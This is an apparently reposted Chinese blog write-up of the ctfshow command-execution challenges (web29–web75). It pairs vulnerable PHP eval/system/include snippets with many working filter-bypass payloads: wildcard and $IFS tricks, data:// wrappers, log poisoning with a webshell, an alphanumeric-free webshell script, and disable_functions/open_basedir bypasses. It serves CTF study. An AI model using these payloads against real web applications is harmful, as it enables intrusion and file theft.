ICode9

精准搜索请尝试: 精确搜索
首页 > 其他分享> 文章详细

ctfshow-命令执行

2022-01-28 18:59:55  阅读:383  来源: 互联网

标签:__ php echo 命令 flag ctfshow file txt 执行


命令执行

命令执行常见做题姿势

  1. *或?代替文件名全拼
  2. 用其它的命令执行函数代替被过滤的函数
  3. 用已知参数传入另一个无限制参数,构造木马
  4. 编码绕过
  5. include 不用括号 分号可用?>代替
  6. cat替换
  7. 内部字段分隔符$IFS
  8. grep
  9. 通配符匹配
  10. 无字母数字的webshell
  11. $(( ))与整数运算
  12. 脚本
  13. 复制重命名绕过
  14. fopen
  15. 路径读取
  16. 文件高亮
  17. 文件包含
  18. exit()
  19. mysql load_file读取文件
  20. 命令接口
  21. 等等

web29


error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

get传入c,没有匹配到flag的话,就执行

payload:
首先最常见的system命令,进行ls
?c=system("ls")
发现flag所在的文件
?c=cat f*
读取源码

web30

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

这道题多过滤掉了system和php

常见的命令执行函数

system()
passthru()
exec()
shell_exec()
popen()
proc_open()
pcntl_exec()
反引号 同shell_exec() 

这里如果构建?c=echo exec("ls");的话,只会显示出index.php

通过?c=passthru("ls"); ?c=echo shell_exec("ls"); ?c=echo `ls`; ?c=echo shell_exec(“ls”);

都可以获得目标文件名,当然可能还有,只是我暂时水平有限

通过?c=echo shell_exec(“cat f*”); ?c=passthru(“tac f*”); ?c=echo `cat f*`;

nl也可以代替cat tac输出,会列出行号

都可以获得flag

web31


error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

又过滤了好多,不过照样有可以利用的函数,比如

?c=echo`ls`;

cat被过滤了

等效cat

more:一页一页的显示档案内容
less:与 more 类似 
head:查看头几行
tac:从最后一行开始显示,可以看出 tac 是cat 的反向显示
tail:查看尾几行
nl:显示的时候,顺便输出行号
od:以二进制的方式读取档案内容
vi:一种编辑器,这个也可以查看
vim:一种编辑器,这个也可以查看
sort:可以查看
uniq:可以查看 file -f:报错出具体内容 grep
1、在当前目录中,查找后缀有 file 字样的文件中包含 test 字符串的文件,并打印出该字符串的行。此时,可以使用如下命令: grep test *file strings

c=eval($_GET[1]);&1=system('nl flag.php');
c=highlight_file(next(array_reverse(scandir(dirname(__FILE__)))));
c=show_source(next(array_reverse(scandir(pos(localeconv())))));
c=echo(`nl%09fl[abc]*`);
c="\x73\x79\x73\x74\x65\x6d"("nl%09fl[a]*");等价于system()
c=echo`strings%09f*`;
c=echo`strings\$IFS\$9f*`必须加转义字符
还有其他姿势:
首先print_r(scandir(dirname(__FILE__)));查看当前目录下文件
然后找到flag.php
print_r(next(array_reverse(scandir(dirname(__FILE__)))));
之后高亮显示即可
c=highlight_file(next(array_reverse(scandir(dirname(__FILE__)))));

这是Y4大佬的payload,不得不说有的payload看都看不懂

strings

用于打印文件中可打印字符串,文件可以是文本文件

作用

  1. 打印可执行文件中的所有可读字符串。
  2. 查看某一个字符串属于哪个文件。strings -f * | grep "xxx"

就简简单单通过第一个payload获得flag就可

web32

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

include

include不用括号,分号可以用?>代替

include函数传入的参数不能执行系统命令,只能使用php伪协议

用include传入无限制参数

?c=include$_REQUEST[888]?>&888=php://filter/convert.base64-encode/resource=flag.php
?c=include$_GET[1]?>&1=data://text/plain,<?php system("cat flag.php");?>
?c=include$_GET[1]?>&1=data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTs/Pg==

web33

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
} 

可以继续include

payload同上

两道题的cat命令都可以和nl互换

?c=include$_REQUEST[888]?>&888=php://filter/convert.base64-encode/resource=flag.php
?c=include$_GET[1]?>&1=data://text/plain,<?php system("cat flag.php");?>
?c=include$_GET[1]?>&1=data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTs/Pg==

web34、35、36

同上

web37

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        include($c);
        echo $flag;
    
    }
        
}else{
    highlight_file(__FILE__);
}

data伪协议

php 5.2.0 起,数据流封装器开始有效,主要用于数据流的读取,如果传入的数据是PHP代码就会执行代码。使用方法为:

data://text/plain,base64,xxxx(base64编码后的数据)

构建payload

?c=data://text/plain,<?php system("nl fl*")?>
?c=data://text/palin;base64,PD9waHAgc3lzdGVtKCJubCBmbGEqIik7Pz4=   //<?php system("nl fla*");?>
?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCJubCBmbCoiKTs/Pg==   //<?php system("nl fl*");?>

日志包含

首先访问

?c=/var/log/nginx/access.log,找到日志文件,然后修改UA头为一句话木马,然后传参

web38


//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|php|file/i", $c)){
        include($c);
        echo $flag;
    
    }
        
}else{
    highlight_file(__FILE__);
}

日志包含

做法同上

data伪协议

c=data://text/palin;base64,PD9waHAgc3lzdGVtKCJubCBmbGEqIik7Pz4=

web39

//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        include($c.".php");
    }
        
}else{
    highlight_file(__FILE__);
}

通过后缀限制了include,但是可以使用data伪协议,在本题中输入原文php代码,因为php代码已经闭合,故拼接的“.php”就以文本形式显示

payload:?c=data://text/plain,<?php system("nl fla*")?>

web40

if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
        eval($c);
    }
        
}else{
    highlight_file(__FILE__);
} 

本道题几乎过滤了所有符号,根据提示

?c=show_source(next(array_reverse(scandir(pos(localeconv())))));

虽然这种做法不清楚为什么

构造session_id绕过

c=session_start();system(session_id());
passid=ls

web42

if(isset($_GET['c'])){
    $c=$_GET['c'];
    system($c." >/dev/null 2>&1");
}else{
    highlight_file(__FILE__);
}

/dev/null 2>&1

/dev/null 2>&1,让所有的输出流(包括错误的和正确的)都定向到空设备丢弃

输入的c的值要把后面截断

payload
?c=ls;%0A
?c=cat fla*;%0A

web43

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

过滤cat

过滤了cat,可以使用tac nl more less tail vi 代替
payload
?c=ls%0a
?c=vi fla*%0a

web44

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/;|cat|flag/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

同上

过滤了cat,可以使用tac nl more less tail vi 代替
payload
?c=ls%0a
?c=vi fla*%0a

web45

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| /i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

过滤空格

PHP中可以使用%09代替空格,horizontal-tab

过滤了cat,可以使用tac nl more less tail vi 代替
payload
?c=ls%0a
?c=vi%09fla*%0a

内联执行

反引号的输出作为输入执行

c=echo`nl\$IFS*`%0A

web46

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

多过滤数字和通配符

payload
?c=ls%0a
?c=vi%09fl??.php%0a
?c=more%09fl??.php%0a
?c=nl%09fla\g.php%0a

web47

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
} 

和上一题没有什么区别,替换cat

payload
?c=ls%0a
?c=vi%09fl??.php%0a
?c=vi%09fla?.php%0A
?c=nl<fla''g.php||

web48



if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
} 

还是没有过滤vi,继续payload

?c=ls%0a
?c=vi%09fl??.php%0a
?c=nl<fla''g.php||

web49


if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

同上

?c=ls%0a
?c=vi%09fl??.php%0a

出自 Y4 佬的通杀payload

payload1:c=nl%09fla\g.php||
payload2:c=nl%09fla\g.php%0a
payload3:c=nl%09fla''g.php%0a
payload4:c=nl%09fla""g.php%0a
payload5:c=vi%09fla\g.php%0a
payload6:c=tac%09fla\g.php%0a
payload7:c=uniq%09fla\g.php%0a
payload8:c=nl<fla''g.php||
payload9:c=nl%09fla\g.php%26

web50


if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

过滤了%,水平tab键和&

||默认是前面执行成功不执行后面

payload8:c=nl<fla''g.php||
?c=nl<fla\g.php||

web51

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

和前一题一样

payload
c=nl<fla''g.php||
?c=nl<fla\g.php||

web52


if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
} 

过滤了<和|,但是没有过滤$,前几题的payload不能用了

$IFS

用到了Linux下的内部字段分隔符 $IFS

这里flag换到了根目录,不带php后缀

c=nl$IFS/fla\g||

web53

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
        echo($c);
        $d = system($c);
        echo "<br>".$d;
    }else{
        echo 'no';
    }
}else{
    highlight_file(__FILE__);
} 

过滤了wget

?c=nl$IFS\fla\g.php
?c=c''at${IFS}fla''g.p''hp
?c=nl${IFS}fla''g.php
?c=nl${IFS}fla?.php

web54

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
}

grep匹配

用于查找文件里符合条件的字符串

?c=grep${IFS}'fla'${IFS}fla?.php

通配符匹配

?c=vi${IFS}f???.???
?c=uniq${IFS}f???.???
?c=/bin/c??${IFS}????????
?c=/bin/c??$IFS????????
?c=/bin/?at${IFS}f???????

使用通配符匹配bin目录下的cat

paste

paste file1 file2,将文件1和file2合并(但是并没有真的合并成一个文件),并且在终端显示,可以理解为打印file1 和 file2

mv

修改flag.php的名字后访问a.txt

?c=mv${IFS}fl?g.php${IFS}a.txt

web55

// 你们在炫技吗?
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
} 

无字母数字的webshell

  1. 利用位运算
  2. 利用自增运算符
    1. shell下可以利用 . 来执行任意脚本
    2. Linux文件名支持用glob通配符代替

参考了P神的博客,还是迷迷瞪瞪的,又参考了Y4佬的脚本。。。。

import requests

while True:
    url = "http://f638cbee-f96e-437f-80a0-94ac178a44c9.challenge.ctf.show/?c=.+/???/????????[@-[]"
    r = requests.post(url, files={"file": ('1.php', b'cat flag.php')})
    if r.text.find("flag") >0:
        print(r.text)
        break


web56

// 你们在炫技吗?
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|[0-9]|\\$|\(|\{|\'|\"|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
}

脚本

同样利用上面的脚本

import requests

while True:
    url = "http://7d31353d-0cf8-41bd-88fc-803726214886.challenge.ctf.show/?c=.+/???/????????[@-[]"
    r = requests.post(url, files={"file": ('1.php', b'cat flag.php')})
    if r.text.find("flag") >0:
        print(r.text)
        break

web57

// 还能炫的动吗?
//flag in 36.php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)){
        system("cat ".$c.".php");
    }
}else{
    highlight_file(__FILE__);
} 

过滤掉数字,但是flag在36.php中

$(( ))与整数运算

在Ubantu环境下验证,有
请添加图片描述

构造流程

  1. 在 ( ( ) ) 中 构 建 37 个 (())中构建37个 (())中构建37个((~$(("")))),即构建37个-1
$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))
  1. 在外面加$((~))进行取反运算
$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))

请添加图片描述

web58

从58题开始到77题,开始绕过disabled-function

// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
} 

复制重命名绕过

通过复制或者重命名读取php文件内容,然后访问文件得到flag

copy("flag.php","flag.txt");
rename("flag.php","flag.txt"); 

获取文件路径

c=print_r(scandir(dirname('__FILE__')));  //找到当前文件所在路径,和在同一路径下的其他文件

通过单一路径读取文件

file_put_contents()		readfile()		file()  var_dump(file())	print_r(file())
c=echo file_get_contents("flag.php");
c=readfile("flag.php");
c=var_dump(file("flag.php"));
c=print_r(file("flag.php"));

fopen读取函数

fread()	fgets()	fgetc()	fgetss()  fgetcsv()	fpassthru()
$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetss($a);echo $line;}       //php7.3版本后 该函数已不再被使用
$a=fopen("flag.php","r");echo fpassthru($a);                                      
$a=fopen("flag.php","r");echo fread($a,"1000");          //读取前1000个字符                         $a=fopen("flag.php","r");while (!feof($a)) {$line = fgets($a);echo $line;}//按行读取
$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetc($a);echo $line;}//按字符读取

高亮文件

show_source("flag.php");             
highlight_file("flag.php");   

web59

// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
} 
先查找地址
c=print_r(scandir('./'));
c=print_r(scandir(dirname('__FILE__'))); 
高亮文件
c=highlight_file("flag.php");
c=show_source("flag.php");
单一路径读取
c=var_dump(file("flag.php"));
c=print_r(scandir('./'));
fopen读取
c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgets($a);echo $line;}
c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetc($a);echo $line;}
c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetcsv($a);print_r($line);}
c=$a=fopen("flag.php","r");echo fread($a,"1000");
c=$a=fopen("flag.php","r");echo fpassthru($a);

web60

if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
} 

和上一题一样

先查找地址
c=print_r(scandir('./'));
c=print_r(scandir(dirname('__FILE__'))); 
高亮文件
c=highlight_file("flag.php");
c=show_source("flag.php");
单一路径读取
c=var_dump(file("flag.php"));		//此题禁用
c=print_r(scandir('./'));			//可读取路径
fopen读取
c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgets($a);echo $line;}	//此题禁用
c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetc($a);echo $line;}
c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetcsv($a);print_r($line);}
c=$a=fopen("flag.php","r");echo fread($a,"1000");		//此题禁用
c=$a=fopen("flag.php","r");echo fpassthru($a);		//此题禁用
复制文件内容访问新文件
c=copy("flag.php","flag.txt");
重命名文件,访问新文件
c=rename("flag.php","flag.txt"); 

web61

if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
} 

看上题payload,借以分析本题

先查找地址
c=print_r(scandir('./'));		//仍在本目录
c=print_r(scandir(dirname('__FILE__'))); 	//同样可以执行
c=print_r(scandir('./'));			//可读取路径
c=$a=opendir('./');while(($file = readdir($a)) !=false){echo $file." ";}//引入新的可用函数
c=print_r(scandir(current(localeconv())));//引入新的可用函数
高亮文件
c=highlight_file("flag.php");		//本题可以直接读取flag
c=show_source("flag.php");			//本题可以直接读取flag
单一路径读取
c=var_dump(file("flag.php"));		//此题禁用
fopen读取
c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgets($a);echo $line;}	//此题禁用
c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetc($a);echo $line;}	//此题禁用
c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetcsv($a);print_r($line);}//加载半天
c=$a=fopen("flag.php","r");echo fread($a,"1000");		//此题禁用
c=$a=fopen("flag.php","r");echo fpassthru($a);		//此题禁用
复制文件内容访问新文件
c=copy("flag.php","flag.txt");		//此题禁用
重命名文件,访问新文件
c=rename("flag.php","flag.txt"); 	//此题禁用
新的绕过姿势
c=highlight_file(next(array_reverse(scandir(current(localeconv())))));

localeconv()

localeconv() 函数返回一个包含本地数字及货币格式信息的数组。

web62~65

// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
} 
先查找地址
c=print_r(scandir('./'));		//仍在本目录
c=print_r(scandir(dirname('__FILE__'))); 	//同样可以执行
c=print_r(scandir('./'));			//可读取路径
c=$a=opendir('./');while(($file = readdir($a)) !=false){echo $file." ";}//引入新的可用函数
c=print_r(scandir(current(localeconv())));//引入新的可用函数
高亮文件
c=highlight_file("flag.php");		//本题可以直接读取flag
c=show_source("flag.php");			//本题可以直接读取flag
单一路径读取
c=var_dump(file("flag.php"));		//此题禁用
fopen读取
c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgets($a);echo $line;}	//此题禁用
c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetc($a);echo $line;}	//此题禁用
c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetcsv($a);print_r($line);}//此题禁用
c=$a=fopen("flag.php","r");echo fread($a,"1000");		//此题禁用
c=$a=fopen("flag.php","r");echo fpassthru($a);		//此题禁用
复制文件内容访问新文件
c=copy("flag.php","flag.txt");		//此题禁用
重命名文件,访问新文件
c=rename("flag.php","flag.txt"); 	//此题禁用
新的绕过姿势
c=highlight_file(next(array_reverse(scandir(current(localeconv()))))); //本题可以直接读取flag

web66

if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
} 

通过c=highlight_file("flag.php");发现flag.php里面不是我们想要的flag,flag的位置变了

首先扫描目录的函数没有禁用,通过利用扫描函数发现flag在根目录里

即修改下面的.//去根目录里查找,flag为根目录下的flag.txt

先查找地址
c=print_r(scandir('./'));
c=print_r(scandir('/'));		//成功扫描到根目录
c=print_r(scandir(dirname('__FILE__')));
c=print_r(scandir('./'));
c=print_r(scandir('/'));		//成功扫描到根目录
c=$a=opendir('./');while(($file = readdir($a)) !=false){echo $file." ";}
c=$a=opendir('/');while(($file = readdir($a)) !=false){echo $file." ";} //成功扫描到根目录
c=print_r(scandir(current(localeconv())));
高亮文件
c=highlight_file("flag.php");		
c=highlight_file("/flag.txt");		//将路径切换至根目录,并访问flag.txt
c=show_source("flag.php");			//此题禁用
单一路径读取
c=var_dump(file("flag.php"));		//此题禁用
fopen读取
c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgets($a);echo $line;}	//此题禁用
c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetc($a);echo $line;}	//此题禁用
c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetcsv($a);print_r($line);}//此题禁用
c=$a=fopen("flag.php","r");echo fread($a,"1000");		//此题禁用
c=$a=fopen("flag.php","r");echo fpassthru($a);		//此题禁用
复制文件内容访问新文件
c=copy("flag.php","flag.txt");		//此题禁用
重命名文件,访问新文件
c=rename("flag.php","flag.txt"); 	//此题禁用
新的绕过姿势
c=highlight_file(next(array_reverse(scandir(current(localeconv()))))); //读取的flag为相对路径下的

以后的fopen函数可能就都禁用了,就不再一一尝试了

web67

if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
} 

在上一题的基础上,尝试payload

文件包含

先查找地址
c=print_r(scandir('./'));		//此题禁用print_r,将print_r修改为var_dump
c=print_r(scandir('/'));		
c=print_r(scandir(dirname('__FILE__')));
c=var_dump(scandir(dirname('__FILE__')));  //引入新的姿势,成功发现flag.php,但不知真假
c=print_r(scandir('./'));
c=print_r(scandir('/'));		
c=var_dump(scandir('/'));		//扫描到根目录,发现根目录中存在flag.txt,猜测为真
c=$a=opendir('./');while(($file = readdir($a)) !=false){echo $file." ";}
c=$a=opendir('/');while(($file = readdir($a)) !=false){echo $file." ";} //成功扫描到根目录
c=print_r(scandir(current(localeconv())));
高亮文件
c=highlight_file("flag.php");		
c=highlight_file("/flag.txt");		//将路径切换至根目录,并访问flag.txt
c=show_source("flag.php");			//此题禁用
单一路径读取
c=var_dump(file("flag.php"));		//此题禁用
新的绕过姿势
c=highlight_file(next(array_reverse(scandir(current(localeconv()))))); //读取的flag为相对路径下的
文件包含
c=include('/flag.txt');
c=require('/flag.txt');
c=require_once('/flag.txt');
c=include_once('/flag.txt');

web68

直接禁用了highlight_file()函数,不过php代码和前几题一样,直接post传入c就可

先查找地址
c=print_r(scandir('./'));//此题禁用print_r,将print_r修改为var_dump或者var_export
c=var_dump(scandir('/'));//访问到根目录下的flag.txt
c=print_r(scandir('/'));		
c=print_r(scandir(dirname('__FILE__')));
c=var_dump(scandir(dirname('__FILE__')));  //引入新的姿势,成功发现flag.php,但不知真假
c=print_r(scandir('/'));		
c=$a=opendir('./');while(($file = readdir($a)) !=false){echo $file." ";}
c=$a=opendir('/');while(($file = readdir($a)) !=false){echo $file." ";} //成功扫描到根目录
c=print_r(scandir(current(localeconv())));
c=var_dump(scandir(current(localeconv())));
c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");}//成功扫描到根目录,原理暂不清楚

高亮文件  //此题禁用了高亮函数
c=highlight_file("flag.php");		
c=highlight_file("/flag.txt");		//将路径切换至根目录,并访问flag.txt
c=show_source("flag.php");			//此题禁用
单一路径读取
c=var_dump(file("flag.php"));		//此题禁用了file()函数
新的绕过姿势
c=highlight_file(next(array_reverse(scandir(current(localeconv()))))); //读取的flag为相对路径下的
文件包含			//四个文件包含函数均可以获得flag
c=include('/flag.txt');
c=require('/flag.txt');
c=require_once('/flag.txt');
c=include_once('/flag.txt');

web69

与上题相比,禁用了var_dump(),可以用var_export()代替,其余payload同上

web70

从网页的报警信息看出,此题已经禁用了error_reporting()、 ini_set()、highlight_file()函数,不过有回显,同上

web71

error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
        $s = ob_get_contents();
        ob_end_clean();
        echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
    highlight_file(__FILE__);
}

ob_get_contents()

返回输出缓冲区的内容,只是得到输出缓冲区的内容,但不清除它。

ob_end_clean()

清空(擦除)缓冲区并关闭输出缓冲

此函数丢弃最顶层输出缓冲区的内容并关闭这个缓冲区。如果想要进一步处理缓冲区的内容,必须在**ob_end_clean()之前调用ob_get_contents(),因为当调用ob_end_clean()**时缓冲区内容将被丢弃。

exit()

在本题中同时使用两个函数就会把缓冲区中的内容取出并删除,访问什么页面内容是变量s经过处理后的内容

所以输入的变量c最后需要把php闭合掉,使用exit()函数

根据上几题的payload,过滤掉了print_r()、var_dump()
使用var_export()来替换,获取路径
c=var_export(scandir('/'));       exit();
c=$a=opendir('/');while(($file = readdir($a)) !=false){echo $file." ";}       exit();
c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");}      exit();
根据路径,去根目录访问flag.txt
利用文件包含
c=include('/flag.txt');exit();
c=require('/flag.txt');exit();
c=require_once('/flag.txt');exit();
c=include_once('/flag.txt');exit();

web72

下载附件得源码

error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
        $s = ob_get_contents();
        ob_end_clean();
        echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
    highlight_file(__FILE__);
}

和上一题相同,payload直接使用就可,但是此题额外禁用了scandir()函数,而且不允许访问根目录,扫描当前目录发现flag.php

绕过open_basedir

根据上几题的payload,过滤掉了print_r()、var_dump(),不允许opendir和readdir访问根目录
使用var_export()来替换,获取路径
c=var_export(scandir('/'));       exit();
c=$a=opendir('./');while(($file = readdir($a)) !=false){echo $file." ";}       exit();		//读取当前路径发现有flag.php
c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");}      exit();
//读取到根目录,找到flag0.txt
根据路径,去根目录访问flag0.txt
c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");}exit();//成功扫描到根目录,原理暂不清楚
c=$a=opendir("glob:///*"); while (($file = readdir($a)) !== false){echo $file . "<br>"; };include("flagx.txt");exit();//可扫描到根目录
利用文件包含     //文件包含载此题禁用
c=include('/flag.txt');exit();
c=require('/flag.txt');exit();
c=require_once('/flag.txt');exit();
c=include_once('/flag.txt');exit();

利用群主大大给的脚本。。。链接奉上
https://github.com/mm0r1/exploits/blob/master/php7-backtrace-bypass/exploit.php

web73

根据上几题的payload,过滤掉了print_r()、var_dump(),不允许opendir和readdir访问根目录
使用var_export()来替换,获取路径
c=var_export(scandir('/'));       exit();		
c=$a=opendir('./');while(($file = readdir($a)) !=false){echo $file." ";}       exit();		//读取当前目录
c=$a=opendir('/');while(($file = readdir($a)) !=false){echo $file." ";}       exit();		//读取根目录
c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");}      exit();
//读取到根目录,找到flagc.txt
c=$a=opendir("glob:///*"); while (($file = readdir($a)) !== false){echo $file . "<br>"; };include("flagx.txt");exit();//可扫描到根目录
根据路径,去根目录访问flagc.txt
利用文件包含     
c=include('/flagc.txt');exit();
c=require('/flagc.txt');exit();
c=require_once('/flagc.txt');exit();
c=include_once('/flagc.txt');exit();

web74

本题scandir()函数被禁用,其他的payload同上,查找到的文件名是flagx.txt,之后去根目录访问就可

web75

mysql load_file读取文件

根据上几题的payload,过滤掉了print_r()、var_dump(),不允许opendir和readdir访问根目录
使用var_export()来替换,获取路径
c=var_export(scandir('/'));       exit();		//本题禁用
c=$a=opendir('./');while(($file = readdir($a)) !=false){echo $file." ";}       exit();		//读取当前目录,本题禁用
